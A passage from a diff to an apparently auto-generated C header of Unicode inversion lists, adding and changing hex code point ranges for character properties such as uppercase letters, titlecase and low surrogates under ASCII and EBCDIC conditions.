+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C78,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x2135,
+	0x2139,
+	0x2D30,
+	0x2D68,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3006,
+	0x3007,
+	0x303C,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309F,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FF,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA015,
+	0xA016,
+	0xA48D,
+	0xA4D0,
+	0xA4F8,
+	0xA500,
+	0xA60C,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA66E,
+	0xA66F,
+	0xA6A0,
+	0xA6E6,
+	0xA78F,
+	0xA790,
+	0xA7F7,
+	0xA7F8,
+	0xA7FB,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9E0,
+	0xA9E5,
+	0xA9E7,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA70,
+	0xAA71,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADD,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF3,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xABC0,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x10450,
+	0x1049E,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1E800,
+	0x1E8C5,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_LOE_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE40,
+	0xE45,
+	0xEC0,
+	0xEC5,
+	0x19B5,
+	0x19B8,
+	0x19BA,
+	0x19BB,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABA,
+	0xAABB,
+	0xAABD
+};
+
+static const UV PL_LOWSURROGATES_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xDC00,
+	0xE000
+};
+
+static const UV PL_LT_invlist[] = { /* for all charsets */
+	21,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1C5,
+	0x1C6,
+	0x1C8,
+	0x1C9,
+	0x1CB,
+	0x1CC,
+	0x1F2,
+	0x1F3,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FBC,
+	0x1FBD,
+	0x1FCC,
+	0x1FCD,
+	0x1FFC,
+	0x1FFD
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LU_invlist[] = { /* for ASCII/Latin1 */
+	1255,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xDF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C7,
+	0x1C8,
+	0x1CA,
+	0x1CB,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
 	0x370,
 	0x371,
 	0x372,
 	0x373,
-	0x374,
-	0x375,
 	0x376,
 	0x377,
-	0x378,
-	0x37A,
-	0x37E,
 	0x37F,
 	0x380,
 	0x386,
@@ -76353,7 +297083,6 @@
 	0x3EF,
 	0x3F4,
 	0x3F5,
-	0x3F6,
 	0x3F7,
 	0x3F8,
 	0x3F9,
@@ -76394,8 +297123,6 @@
 	0x47F,
 	0x480,
 	0x481,
-	0x482,
-	0x483,
 	0x48A,
 	0x48B,
 	0x48C,
@@ -76560,18 +297287,26187 @@
 	0x52D,
 	0x52E,
 	0x52F,
-	0x530,
 	0x531,
 	0x557,
-	0x559,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1FB8,
+	0x1FBC,
+	0x1FC8,
+	0x1FCC,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFC,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x2130,
+	0x2134,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x2183,
+	0x2184,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
